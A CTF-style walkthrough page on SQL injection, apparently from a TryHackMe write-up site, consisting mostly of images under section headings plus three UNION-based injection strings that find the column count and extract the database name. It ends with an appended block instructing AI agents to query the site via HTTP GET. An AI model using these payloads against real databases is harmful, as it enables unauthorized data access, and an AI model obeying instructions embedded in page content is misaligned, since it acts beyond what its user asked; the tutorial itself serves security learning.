# SQL Injection

![](/files/-MezzyzWt33hs795sId5)

## Introduction

![](/files/-Mf--9pqiVnDQ32iVA4p)

## Basics of SQL Language

![](/files/-Mf--Xz9Ido_cLoCecDo)

## What is SQLi

![](/files/-Mf-0LuE9hpqHaXRG801)

## How to detect SQLi

![](/files/-Mf-16VYS-HSowgqtF35)

![](/files/-Mf-1MsLEPhk5-1VHJnV)

## Error Based SQLi

![](/files/-Mf-27xIy8LUdUeM-_0G)

![](/files/-Mf-2TMkWh26lKhn-Ev6)

![](/files/-Mf-2bs76qH9O0fgcqv2)

## Boolean Based SQLi

![](/files/-Mf-3WWuDB0mZDneuO3L)

![](/files/-Mf-45UaIRJiUi01tuEB)

## UNION Based SQLi

![](/files/-Mf-4XDI2qDk7IyLZO02)

![](/files/-Mf-4nPbEEr7pC0eXhlr)

![](/files/-Mf-5DX67MCdHfgeZXbJ)

![](/files/-Mf-5ZMC0jBPufRuMc4F)

After testing different number of columns, we can find the right number of columns in the database with this search query

```
' UNION SELECT NULL,NULL,NULL,NULL,NULL -- //
```

![](/files/-Mf-6IT6lZXVwR6hnr6n)

We can also see that all of the columns can take a string input with this query

```
' UNION SELECT 'a','a','a','a','a' -- //
```

![](/files/-Mf-6eITXLRWXF6W4tJe)

We can see the name of the database with this query

```
' UNION SELECT 'a',database(),'a','a','a' -- //
```

![](/files/-Mf-6vTZC84V_JKYwFhi)

![](/files/-Mf-6zsha--1vec_-HhN)

## Automating Exploitation

![](/files/-Mf-7QIBzLrJOhtVIbL1)

![](/files/-Mf-7TgdECRCpcQhiKfy)

![](/files/-Mf-7g-LHdj_4lIx5kXv)

![](/files/-Mf-7sNTAcCmWyHLEoBF)

![](/files/-Mf-9DrfQZ6LO2qpTxtX)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://writeups.adityadindi.com/tryhackme/walkthroughs-easy/sql-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
